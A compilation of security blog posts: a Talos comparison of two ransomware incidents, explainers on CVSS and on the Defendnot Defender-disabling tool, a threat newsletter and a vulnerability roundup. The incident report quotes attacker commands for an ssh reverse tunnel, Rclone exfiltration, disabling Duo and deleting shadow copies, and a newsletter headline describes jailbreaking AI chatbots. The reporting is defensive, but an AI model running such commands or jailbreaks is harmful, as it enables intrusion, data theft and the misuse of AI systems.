• Cisco Talos routinely responds to ransomware engagements where the impact could have been mitigated or wholly prevented if the victim organization had initiated remediation efforts earlier in the attack lifecycle. The significance of early intervention in ransomware attacks is particularly exemplified by two recent Talos Incident Response (Talos IR) ransomware engagements. 
• In one incident, the victim engaged Talos IR immediately after discovering malicious activity alerts. Talos IR worked swiftly to combat additional malicious activity and prevented the execution of any encryption in the environment. 
• Conversely, in a second incident, the victim ignored alerts of malicious activity and did not contact Talos IR until after the ransomware binary began to execute. Talos IR was then not provided network access for analysis for over a day, during which time the actors achieved nearly 100% host encryption. 
• While there are many factors that can impact the success and severity of a ransomware attack, such as an actor’s sophistication and advanced tooling, close similarities between these two ransomware engagements led us to negate that these variables significantly influenced the disparate outcomes between these two attacks. 

Introduction 

As ransomware threat actors continuously decrease their dwell time — here defined as the duration between initial access and encryption — it is increasingly imperative to be mindful of timeliness in incident response engagements (Infosecurity Magazine, CyberScoop, Orca, ThreatDown). Early intervention and remediation can significantly mitigate or even wholly prevent repercussions of ransomware attacks, such as financial loss, reputational damage and legal repercussions, as exemplified by a comparison of two recent Talos IR engagements.

In both these cases, the threat actors leveraged similar tools and tactics, techniques and procedures (TTPs) and the victim was alerted to suspicious activity prior to ransomware execution, yet one engagement resulted in 0% network encryption while the other victim experienced nearly 100% encryption.

Talos assesses that encryption occurred due to several time delays at pivotal moments. First, Talos was not employed to start an IR engagement until after the ransomware binary was executed, despite early warnings, which allowed the actor to initiate encryption. Then, Talos was provided network access over 30 hours after the engagement began, during which time the actors obtained widespread encryption. For context, according to Talos data, many ransomware variants can seize complete control of a network in just 24-48 hours after initial access. Furthermore, these delays also allowed the threat actor to employ defensive measures that severely limited Talos’ ability to retroactively analyze system logs, a crucial step toward remediating the threat and hardening the network.

Description of attack lifecycles  

Engagement 1: Data theft without encryption 

In late April, Chaos ransomware affiliates gained an initial foothold into a victim environment via social engineering. They sent a flood of spam emails to a single user, then contacted the user in Microsoft Teams masquerading as IT support. During the Microsoft Teams session, the adversary guided the user to launch Microsoft Quick Assist and enter their credentials into an unknown login page, which ultimately provided access to the account. That same day, the victim was alerted to the security breach and engaged Talos IR to mitigate the threat, allowing Talos IR to review activity logs before the adversary could completely delete or modify them. 

The affiliates relied heavily on living-off-the-land binaries (LoLBins) and dual-use tools to conduct post-compromise activity and leveraged Impacket’s “atexec.py” module to execute commands remotely, specifically leveraging the Task Scheduler service. They began exploring the victim’s environment using Windows command line utilities like “ipconfig /all” to list network connections, “nltest /dclist” to list the domain controllers (DCs) within Active Directory (AD) and “quser.exe” to query information about user sessions. We also observed multiple outbound connections to adversary-controlled IP addresses using OpenSSH, an open-source suite of secure networking utilities that provide encrypted communication channels to create a reverse proxy SSH connection.

C:WindowsSystem32OpenSSHssh.exe -R :12840 -N REDACTED-p 443 -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no

To move laterally within the environment, the adversary used Microsoft Remote Desktop and Advanced IP Scanner to obtain access to new accounts and maintained persistence by changing account passwords to lock users out.  

Notably, the actors used multiple remote monitoring and management (RMM) applications on different system tiers (e.g., workstations, servers and DCs) to ensure persistent remote access across multiple phases of the operation and to perform slightly different functions: 

• Microsoft Quick Assist socially engineered the victim to install the tool for initial access. 
• AnyDesk was likely the primary method of remote access as it was found on a majority of compromised systems. 
• OptiTune was leveraged to deploy ScreenConnect RMM on a number of hosts. 
• SplashTop was leveraged to enumerate activities on at least one host. 

They also took precautionary measures to evade detection, like uninstalling Duo from the host:

C:WINDOWSsystem32cmd.EXE, /c, wmic, product, where, name=Duo Authentication for Windows Logon x64, call, uninstall, /nointeractive:

A renamed Rclone executable was ran via command line to copy files from a network share:

wininit.exe, copy, --max-age, 1y, --exclude, *{psd,7z,mox,pst,FIT,FIL,MOV,mdb,iso,exe,dll,wav,png,db,log,HEIC,dwg,tmp,vhdx,msi}, \REDACTEDdata, REDACTED/data, -q, --ignore-existing, --auto-confirm, --multi-thread-streams, 25, --transfers, 15, --b2-disable-checksum, -P

Finally, just hours after initial access, the adversary launched the script “backup.sh”, a normal process found on ESXi hosts. Talos IR suspects the adversary leveraged the script to deliver the ransomware executable. We observed attempts to encrypt data on the victim’s VPN that were ultimately unsuccessful.

Engagement 2: Nearly 100% encryption 

In the second engagement, the victim ignored alerts from Cisco’s Managed Detection and Response (MDR) of malicious activity and did not contact Talos IR until after the Medusa ransomware binary began to execute. Then, Talos IR was not provided network access for analysis for over a day, during which time the actors achieved nearly 100% host encryption.

A retroactive analysis of the limited logs that remained after encryption revealed the actors similarly relied on dual-use tools. For remote access they used SimpleHelp, a legitimate RMM tool that is commonly abused by ransomware actors and, since January 2025, has been routinely exploited for path traversal (CVE-2024-57727). Talos IR also observed several remote incoming desktop connections from suspicious IP addresses, beacon activity from the commonly abused Brute Ratel C4 (BRC4) red teaming tool, and Windows APIs invoked that could be leveraged for data collection:  

• Getnativesysteminfo determines the underlying hardware architecture and characteristics of a system, including the type of processor, number of processors and memory page size. 
• Telemetry:api_invoke is the invocation of a Telemetry API. Attackers may monitor or trigger api_invoke events to discover what APIs are available, which users or services call which APIs and which cloud services are used, leveraging corresponding “telemetry:api_invoke” logs for environment enumeration. 
• Bcryptgeneratesymmetrickey generates keys for AES decryption.

The adversary established command and control (C2) using JWrapper, a component of SimpleHelp that is often used by IT support and therefore may not be identified as malicious. JWrapper can also be leveraged to stealthily execute files and exfiltrate data, as it is designed to package Java applications into native executable formats for Windows, macOS and Linux. In this attack, the actors used it to execute a file that disabled the User Access Control in the registry by setting the Windows PromptOnSecureDektop record to false:

C:ProgramDataJWrapper-Remote AccessJWrapper-Remote Access Bundle-00112084494JWrapperTemp-1745261021-3-appbin windowslauncher.exe  
MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemPromptOnSecureDesktop

JWrapper was also likely used to exfiltrate data:

C:ProgramDataJWrapper-Remote AccessJWrapper-Remote Access Bundle-00112084494JWrapperTemp-1745261021-3-appbinwindowslauncher.exe

The actors gained unauthorized access to remotely read and modify files within the System32 folder, a critical part of the Windows OS containing essential files needed for the system to function properly, and attempted to delete volume shadow copies from the folder, a common tactic to inhibit data recovery:

C:WindowsSystem32vssadmin.exe 'delete' 'shadows' '/shadow={5aa57685-c258-4396-b702-6722ab58e603}

They also executed Impacket in the System32 folder via PsExec remote copy and execution:

C:Windowssystem32services.exe, C:Windowssystem32msiexec.exe /V, C:Windowssyswow64MsiExec.exe -Embedding 27A094D718378410D2002AE3023D3731 E GlobalMSI0000

Analysis

Talos IR assesses that victim response time was the dominant factor that caused the discrepancy in impact. All other factors were incredibly similar, such as the actor’s level of sophistication, the victims’ endpoint security and Talos IR’s response. In both attacks, the affiliates displayed a similar level of sophistication in their tools, heavily using LoLBins and dual-use tools throughout the attack lifecycle. Examples include shared use of Msiexec, WMIC and PowerShell LoLBins and legitimate RMM tools. The actors also both used Impacket to execute commands remotely over SMB or WMI without deploying new payloads and used ADMIN$ administrative shares to propagate malware. A more sophisticated actor may have opted to use a custom malware, similar to the recently discovered Betruger backdoor, which is rarely seen in ransomware attacks.

In both cases, the actors also used similarly sophisticated TTPs to obtain widespread network access. They attempted to evade detection and analysis by deleting or modifying files, logs, and tools, and they were able to compromise the victims’ System32 folder and administrative accounts.

While Talos IR acknowledges that there are a few minor differences between these two engagements, these would not indicate a significant disparity. For example, the actors used different paid legitimate software to scan IPs and different RMM tools, but this would not have played any significant role in the impact to the victim.

We also observed that both victims had a similar flaw in endpoint hygiene by using the outdated PowerShell version 1.0 that was exploited by both threat actors. PowerShell 1.0 lacks several critical security features present in later iterations, making it difficult to detect and analyze malicious activity. For instance, the PowerShell 1.0 execution policy can be easily bypassed using inline execution “powershell.exe -ExecutionPolicy Bypass” or by modifying policy values in memory or the registry. This means scripts can be run without being digitally signed or verified, a common vector for ransomware payloads. Additionally, PowerShell 1.0 does not support Constrained Language Mode (CLM), which in later versions restricts access to .NET classes and APIs that can be exploited for lateral movement or privilege escalation. Without CLM, an attacker gains unrestricted access to the full breadth of PowerShell’s capabilities, including registry manipulation, WMI queries, COM object interaction and raw .NET assembly loading — all of which can be used to establish persistence or elevate privileges.

Finally, both victims received notifications of malicious activity prior to ransomware execution and, once the victims chose to engage Talos, we provided the same level of assistance. 

Timely log analysis enables quick recovery 

Early engagement with one of the victims and continued communication throughout allowed Talos IR to access the system logs before they could be deleted or modified, which likely helped the victim avoid encryption. Logs are a crucial component of remediating ransomware engagements for many reasons: 

• Identifying weaknesses in network security that the actor exploited so they can be fixed 
• Understanding what data was compromised so the victim can understand the potential fallout and notify the affected customers 
• Establishing a baseline to help easily identify anomalies that indicate suspicious behavior (particularly important considering many ransomware affiliates leverage legitimate tools) 
• Identifying adversary’s routine tools and TTPs to know how to identify future malicious activity, where to place detection systems to prevent future malicious activity and potentially attribute the activity to a particular actor 
• Determining the actor’s goal (e.g., financial theft or espionage) to protect data the actor is likely trying to access 
• Observing a clear path indicating a certain target will be compromised, or viewing failed attempts at a compromise, to preemptively harden the target 

While Talos IR provided some similar remediation recommendations for each victim due to overlaps in activity, the victim that waited to engage Talos IR received more general recommendations because they had limited logs to review, preventing Talos from understanding the full scope of malicious activity that occurred and how the adversary was able to compromise their network.

Recommendations 

• Raise awareness of phishing and social engineering. Given ransomware actors’ proficiency in using a wide array of techniques to obtain initial access, user education is a key part of spotting phishing attempts, countering MFA bypass techniques and knowing where to report unauthorized access attempts.  
• Monitor and prevent unnecessary and/or unauthorized use of system administration tools, such as PowerShell, and adhering to zero trust principles. Restrict access to employees who need these for legitimate business purposes. Use of these tools should be logged and audited. 
• Protect logs from modification or deletion. Consider creating service control policies (SCP) for cloud-based resources to prevent users or roles, across the organization, from being able to access specific services or take specific actions within services. For example, the SCP can be used to restrict users from being able to delete logs, update virtual private cloud (VPC) configurations and change log configurations. Additionally, log process execution events and deploy Sysmon to enhance logging capabilities on Windows devices. 
• Restrict the use of RMM and dual-use tools. Review logs for execution of RMM software to detect abnormal use, such as RMM software only being loaded in memory and block both inbound and outbound connections on common RMM ports and protocols at the network perimeter. 
• Employ data loss prevention (DLP) strategies to prevent unauthorized disclosure or leakage. These include data classification policies, data handling policies, user awareness and training and DLP software that can identify and block unauthorized data transfer attempts.

Protections   

Chaos    

Unix.Malware.Chaos-6474834-0   

Signature Name: Unix.Malware.Chaos-6474902-0   

45975  

Medusa   

63929, 63928   

300998   

33058-33060   

Signature Name: Andr.Ransomware.Medusa-10033530-0   

Signature Name: PUA.Win.Tool.BestCrypt-10033531-0   

Signature Name: Win.Ransomware.Medusa_Note-10033532-0

Indicators of compromise (IOCs) 

Chaos    

Medusa   

Cisco Talos Blog – ​Read More

This year marks the 20^th anniversary of the Common Vulnerability Scoring System (CVSS), which has become a widely accepted standard for describing software vulnerabilities. Despite decades of use and four generations of the standard — now at version 4.0 — CVSS scoring rules continue to be misused, and the system itself remains the subject of intense debate. So, what do you need to know about CVSS to effectively protect your IT assets?

The CVSS Base Score

According to its developers, CVSS is a tool for describing the characteristics and severity of software vulnerabilities. CVSS is maintained by the Forum of Incident Response and Security Teams (FIRST). It was created to help experts speak a common language about vulnerabilities, and to facilitate automatic processing of data on software flaws. Almost every vulnerability published in major vulnerability registries like CVE, EUVD, or CNNVD includes a severity assessment based on the CVSS scale.

An assessment typically consists of two main parts:

• A numerical rating (CVSS score), which shows how severe the vulnerability is on a scale from 0 to 10. A score of 10 means it’s an extremely dangerous, critical vulnerability.
• A vector, which is a standardized text string that describes the vulnerability’s key characteristics. This includes details like whether it can be exploited remotely over a network or only locally, if elevated privileges are needed, how complex it is to exploit, and what aspects (such as availability, integrity, or confidentiality) of the vulnerable system are affected by exploitation.

Here’s an example using the highly severe and actively exploited vulnerability CVE-2021-44228 (Log4Shell): Base Score 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Let’s break that down: the attack vector is network-based, attack complexity is low, privileges required: none, user interaction isn’t required, the scope indicates the vulnerability impacts other system components, and the impact on confidentiality, integrity, and availability is high. Detailed descriptions of each component are available in the CVSS 3.1 and CVSS 4.0 specifications.

A crucial part of the CVSS system is its scoring methodology — also known as the calculator, and available for both 4.0 and 3.1. By filling in all the vector components, you can automatically get a numerical criticality score.

The original CVSS calculation methodology included three metric groups: Base, Temporal, and Environmental. The first group covers the fundamental and unchanging characteristics of a vulnerability, and forms the basis for calculating the CVSS Base Score. The second group includes characteristics that can change over time — such as the availability of published exploit code. The third group is designed for internal organizational use to account for context-specific factors like the vulnerable application’s scope or the presence of mitigating security controls in the organization’s infrastructure. In CVSS 4.0, the Temporal metrics have evolved into Threat metrics, and a new group of Supplemental metrics has been introduced.

Here’s how the metrics are interconnected. Software vendors or cybersecurity companies typically assess the Base criticality of a vulnerability (referred to as “CVSS-B” in the 4.0 specification). They also often provide an assessment related to the availability and public disclosure of an exploit (CVSS-BT in 4.0, and Temporal in 3.1). This assessment is a modified Base Score; therefore CVSS-B can be higher or lower than CVSS-BT. As for the Environmental score (CVSS-BTE), it’s calculated within a specific organization based on the CVSS-BT, with adjustments made for their unique conditions of using the vulnerable software.

The Evolution of CVSS

The first two versions of CVSS, released in 2005 and 2007, are hardly used today. While you might still find older CVSS scores for modern vulnerabilities, CVSS 3.1 (2019) and CVSS 4.0 (2023) are the most common scoring systems. However, many software vendors and vulnerability registries aren’t in a rush to adopt version 4.0, and they continue to provide CVSS 3.1 scores.

The core idea behind the first CVSS version was to quantify the severity of vulnerabilities via a scoring system — with an initial separation into Base, Temporal, and Environmental metrics. At that stage, the textual descriptions were loosely formalized, and the three groups of metrics were calculated independently.

CVSS 2.0 introduced a standardized vector string and a new logic: a mandatory and unchangeable Base score, a Temporal score calculated from the Base score but accounting for changing factors, and an Environmental score used within specific organizations and conditions derived from either the Base or Temporal score.

Versions 3.0 and 3.1 added the concept of Scope (impact on other system components). They also more precisely defined parameters related to required privileges and user interaction, and they generalized and refined the values of many parameters. Most importantly, these versions attempted to solidify the fact that CVSS measures the severity of a vulnerability — not the risks it creates.

In version 4.0, the creators aimed to make the CVSS metric more useful for business-level assessments of how vulnerabilities impact risk. This is still not a risk metric, though. Attack complexity was split into two distinct components: attack requirements and attack complexity. This highlights the difference between the inherent engineering difficulty of an attack and the external factors or conditions necessary for the attack to succeed. In practical terms, this means a flaw that requires a specific, non-default configuration on the vulnerable product to be exploited will have higher attack requirements and, consequently, a lower overall CVSS score.

The often-misunderstood Scope metric, which simply offered “yes” or “no” options for “impact on other components”, has been replaced. Developers have introduced the clearer concept of “subsequent systems”, which now specifies what aspect of their operation the vulnerability affects. Additionally, a range of supporting indicators has been added — such as the automatability of an exploit and the impact of exploitation on human physical safety. The formulas themselves have also undergone substantial revisions. The influence of various components on the numerical threat score has been re-evaluated based on a vast database of vulnerabilities and real-world exploitation data.

How CVSS 4.0 is changing vulnerability prioritization

For cybersecurity professionals, CVSS 4.0 aims to be more practical and relevant to today’s realities. We’re facing tens of thousands of vulnerabilities — many of which receive a high CVSS score. This often leads to them being automatically flagged for immediate remediation in many organizations. The problem is, these lists are constantly growing, and the average time to fix a vulnerability is nearing seven months.

When vulnerabilities are re-evaluated from CVSS 3.1 to CVSS 4.0, the Base Score for defects with a severity between 4.0 and 9.0 tends to slightly increase. However, for vulnerabilities that were considered critically severe in CVSS 3.1, the score often remains unchanged or even decreases. More importantly, while Temporal metrics had little impact on a vulnerability’s numerical rating before, the influence of Threat and Environmental metrics is now much more significant. Orange Cyberdefense conducted a study to illustrate this. Imagine a company is tracking 8000 vulnerabilities, and their IT and security teams are required to fix all defects with a Base CVSS score above 8 within a specified timeframe. What percentage of these 8000 real-world vulnerabilities would fall into that category — with or without considering exposure of the exploit to the public (Temporal/Threat adjustment)? The study found that CVSS 4.0, in its base version, assigns a score of 8 or higher to a larger percentage of vulnerabilities (33% compared to 18% in version 3.1). However, when adjusted for the availability of exploits, this number drops significantly — leaving fewer truly critical flaws to prioritize (8% versus 10%).

Critical, High, and everything in between

What’s the difference between a “critical” vulnerability and one that’s just plain dangerous? A text-based severity description is part of the specification — but it’s not always required in a vulnerability description:

• Low Severity: 0.1–3.9
• Medium Severity: 4.0–6.9
• High Severity: 7.0–8.9
• Critical Severity: 9.0–10.0

In practice, many software vendors take a creative approach to these text descriptions. They might modify the names or incorporate their own assessments and factors not included in CVSS. A case in point is June’s Microsoft Patch Tuesday — specifically CVE-2025-33064 and CVE-2025-32710. The first is described as “Important” and the second as “Critical”, yet their CVSS 3.1 scores are 8.8 and 8.1, respectively.

Kaspersky official blog – ​Read More

Many companies today operate a Bring Your Own Device (BYOD) policy, allowing employees to use their own devices for work purposes. This practice is especially prevalent in organizations that embrace remote working. BYOD brings many obvious advantages, but its implementation creates new risks for companies in terms of cybersecurity.

To protect systems from threats, information security departments often require that security software is installed on all devices used for work. At the same time, some employees – especially hotshot techies – may view antivirus software more as a hindrance than a help.

Not the most sensible attitude for sure, but convincing them otherwise can be hard. The main problem is that employees who believe they know better may find a way to dupe the system. Today, we investigate one such method: a new research tool known as Defendnot, which disables Microsoft Defender on Windows devices by registering fake antivirus software.

How no-defender blazed the trail using fake antivirus to disable Microsoft Defender

To understand exactly how Defendnot disables Microsoft Defender, we need to turn the clock back a year. Back then, a researcher with the X handle es3n1n created and published the first version of the tool on GitHub. Called no-defender, it was tasked with disabling the built-in Windows Defender antivirus.

To accomplish this task, es3n1n exploited a weakness in the Windows Security Center (WSC) API. Through it, antivirus software informs the system that it is installed and ready to start protecting the device in real time. Upon receiving such a message, Windows automatically disables Microsoft Defender to avoid conflicts between different security solutions all running on the same device.

Using the code of an existing security solution, the researcher created their own fake antivirus that registered in the system and passed all Windows checks. Once Microsoft Defender was disabled, the device was left unprotected – since no-defender offered no protection of its own.

The no-defender project quickly drew a following on GitHub, where it was starred over two thousand times. However, the antivirus developer company whose code was reused filed a complaint for violation of the Digital Millennium Copyright Act (DMCA). So es3n1n was forced to remove the project code from GitHub, leaving only a description page.

How Defendnot succeeded no-defender

But the story doesn’t end there. Almost a year later, New Zealand programmer MrBruh prompted es3n1n into developing a version of no-defender that didn’t rely on third-party code. Piqued by the challenge and poor sleep, es3n1n wrote a new tool in four days flat, which was dubbed Defendnot.

At the heart of Defendnot was a stub DLL posing as a legitimate antivirus. To bypass all WSC API checks – including Protected Process Light (PPL), digital signatures and other mechanisms – Defendnot injects its DLL into Taskmgr.exe, which is signed and already considered as trusted by Microsoft. The tool then registers the fake antivirus, prompting Microsoft Defender to immediately turn off and leave the device without active protection.

On top of that, Defendnot allows the user to assign any name to the “antivirus”. Similarly to its predecessor, this project became a hit on GitHub, having been starred 2100 times at the time of writing. To install Defendnot, the user must have administrator rights (which employees most likely have on personal devices).

How to protect corporate infrastructure from BYOD misuse

Defendnot and no-defender are positioned as research projects, with both tools demonstrating how trusted system mechanisms can be manipulated to disable protective functions. The conclusion is obvious: you can’t always trust what Windows says.

Therefore, so as not to endanger your company’s digital infrastructure, we recommend beefing up its BYOD policy with a number of additional security measures:

• Where possible, make it mandatory for BYOD device owners to install reliable corporate protection administered by the company’s information security team.
• If this is not possible, do not consider BYOD devices as trusted simply for having antivirus software installed, and limit their access to corporate systems.
• Strictly control access permissions to ensure they correspond to employees’ job responsibilities.
• Pay special attention to BYOD device activity in corporate systems, and deploy an XDR solution to monitor behavioral anomalies.
• Train employees in the basics of cybersecurity so that they understand how antivirus software works, and why they shouldn’t try to disable it. To help with this, our Kaspersky Automated Security Awareness Platform delivers all you need and more.

Kaspersky official blog – ​Read More

Welcome to this week’s edition of the Threat Source newsletter.

We’ve made it halfway through 2025 already! It’s been a while since I last wrote about CVEs and how free support for Windows 10 will end on October 14, 2025, leaving you with no more security fixes.

While the CVE system remains the global standard for vulnerability reporting, recent developments have sparked concerns within the community about its long-term stability. Currently, the program operates solely as a U.S. government-funded initiative. Following the last-minute funding extension, we’re now seeing competing ideas and projects emerging. Whether it’s the CVE Foundation working to transition from a single funding stream to a diversified and stable model, ENISA’s EUVD, or the Global CVE Allocation System (GCVE), the landscape is changing.

On one hand, a multi-source environment enhances availability and resilience. On the other, this fragmentation raises practical concerns for both researchers and practitioners. We now face questions like “Where should I report a vulnerability?” and “How do I integrate and correlate vulnerability data across multiple sources with multiple identifiers?”

Looking back at the first six months of this year, we see that the rapid pace of CVE publications in 2024 has continued into 2025, with no signs of slowing down. In fact, the current trend suggests that 2025 will surpass last year’s total of a little more than 40,000 CVEs. To illustrate: the first half of 2024 saw an average of 113 CVEs published per day, whereas the first half of 2025 is running at a rate of 131 CVEs per day.

What concerns me even more is the steep increase in Known Exploited Vulnerabilities (KEVs). It wasn’t just the spike in March — we’re seeing a generally sharper rise overall.

Vendor diversity also continues to expand, increasing from 45 vendors during the first half of last year to 61 so far this year. Additionally, the proportion of KEVs affecting network-related gear has grown from 22.5% in 2024 to 25% in 2025.

But there’s a small piece of good news: So far, I haven’t seen any CVEs from as far back as 2012 being added to the KEV catalogue like we saw last year. This time, the oldest additions “only” go back to 2017.

Keep in mind that the CVE year merely indicates when a vulnerability was reserved or assigned. The vulnerability itself may have existed for many years prior. For example, the recent sudo/chroot issue remained undiscovered for over 12 years. 

In a nutshell: Keep tracking, keep patching. Vulnerabilities certainly won’t patch themselves.

The one big thing 

Microsoft’s July 2025 security update addresses 132 vulnerabilities, including 14 marked as “critical,” with several remote code execution (RCE) issues affecting Windows, Office, SharePoint and Hyper-V. Although none have been exploited in the wild yet, some vulnerabilities — like those in SharePoint and SPNEGO NEGOEX — are more likely to be targeted and could allow attackers to execute code remotely or locally.

Why do I care? 

These vulnerabilities could let attackers take control of your systems, steal information or disrupt business operations, even if you haven’t seen any attacks yet. If you’re running Windows servers, SharePoint or Microsoft Office, your environment could be at risk, especially for organizations that rely on these products daily.

So now what? 

Don’t wait. Make sure you’re applying Microsoft’s July patches as soon as possible. If you use Cisco Security Firewall or SNORT®, update your rulesets to the latest versions to maximize your protection.

Top security headlines of the week 

Alleged Chinese hacker tied to Silk Typhoon arrested for cyberespionage
A Chinese national was arrested in Milan, Italy for allegedly being linked to the state-sponsored Silk Typhoon hacking group, which is responsible for cyberattacks against U.S. organizations and government agencies. (Bleeping Computer) 

Jailbreaking AI with information overload 
Researchers say you can trick AI chatbots like ChatGPT or Gemini into teaching you how to make a bomb or hack an ATM if you make the question complicated, full of academic jargon, and cite sources that do not exist. (404 Media) 

SatanLock is shutting down
The announcement that the group was closing its doors first came through its official Telegram channel and dark web leak site. Hunters International, another well-known ransomware group, also recently announced that it was shutting down its operations. (Dark Reading) 

Ingram Micro scrambling to restore systems after ransomware attack
The IT distributor giant confirmed over the weekend that a ransomware attack was responsible for a widespread outage over its services, and they were forced to take certain systems offline on Friday afternoon, in response to the incident. (SecurityWeek) 

Malicious Chrome extensions with 1.7M installs found on Web Store
Malicious extensions with 1.7 million downloads in Google’s Chrome Web Store pose as legitimate tools but could track users, steal browser activity, and redirect to potentially unsafe web addresses. (Bleeping Computer)

Can’t get enough Talos? 

Scams, jailbreaks and poetic justice
In this episode of the TTP, Hazel Burton sits down with Talos’ Jaeson Schultz to explore the underground world of criminal LLM abuse, from elaborate scams to role-playing jailbreak prompts designed to trick AI into ignoring its own rules.

Vulnerability Roundup
Cisco Talos’ Vulnerability Discovery & Research team has disclosed and coordinated patches for two vulnerabilities each in Asus Armoury Crate and Adobe Acrobat.

PDFs: Portable documents, or perfect deliveries for phish? 
A popular social engineering technique returns: callback phishing, or TOAD attacks, which leverage PDFs, VoIP anonymity and even QR code tricks.

Beers with Talos: Terms and conceptions may apply 
In this episode, the crew reassembles after a totally intentional and not-at-all accidental hiatus. They cover AI-assisted IVF, a possible underground war against dairy, and the real heroes: conference dogs.

Upcoming events where you can find Talos 

• NIRMA (July 28 – 30) St. Augustine, FL 
• Black Hat USA (Aug. 2 – 7) Las Vegas, NV

Most prevalent malware files from Talos telemetry over the past week 

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91   
MD5: 7bdbd180c081fa63ca94f9c22c457376 
VirusTotal: https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91/details 
Typical Filename: IMG001.exe 
Detection Name: Simple_Custom_Detection   

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
MD5: 2915b3f8b703eb744fc54c81f4a9c67f 
VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Typical Filename: VID001.exe 
Claimed Product: N/A 
Detection Name: Win.Worm.Coinminer::1201 

SHA256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca  
MD5: 71fea034b422e4a17ebb06022532fdde  
VirusTotal: https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca/details 
Typical Filename: VID001.exe  
Claimed Product: N/A  
Detection Name: Coinminer:MBT.26mw.in14.Talos

Cisco Talos Blog – ​Read More

Cisco Talos’ Vulnerability Discovery & Research team recently disclosed two vulnerabilities each in Asus Armoury Crate and Adobe Acrobat products.  

The vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy.    

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.     

Asus Armoury Crate stack-based buffer overflow and authorization bypass  vulnerabilities

Discovered by Marcin 'Icewall' Noga of Cisco Talos.   

These vulnerabilities were recently covered in a deep-dive post, Decrement by one to rule them all.

Asus Armoury Crate is a software utility used to manage Asus and ROG lighting, performance, and updates.

TALOS-2025-2144 (CVE-2025-1533) is a stack-based buffer overflow vulnerability in the AsIO3.sys kernel driver of Asus Armoury Crate 5.9.13.0. A specially crafted I/O request packet (IRP) can lead to stack-based buffer overflow. An unprivileged attacker can run a program from user mode to trigger this vulnerability.

TALOS-2025-2150 (CVE-2025-3464) is an authorization bypass vulnerability in the AsIO3.sys functionality of Asus Armoury Crate 5.9.13.0. A specially crafted hard link can lead to an authorization bypass. An attacker can create a hard link to trigger this vulnerability.

Adobe Acrobat Reader out-of-bounds read and use-after-free vulnerabilities 

Discovered by Kamlapati Choubey of Cisco Talos.   

Adobe Acrobat Reader is one of the most popular PDF reading software currently available. Talos found an out-of-bounds read vuln, TALOS-2025-2159 (CVE-2025-43578), in the Font functionality of Adobe Acrobat Reader 2025.001.20435. A specially crafted font file embedded into a PDF can trigger this vulnerability which can lead to disclosure of sensitive information.

TALOS-2025-2170 (CVE-2025-43576) is a use-after-free vulnerability in the annotation object processing functionality of Adobe Acrobat Reader 2025.001.20435. A specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and could result in arbitrary code execution.

An attacker needs to trick the user into opening the malicious file to trigger either of these vulnerabilities.

Cisco Talos Blog – ​Read More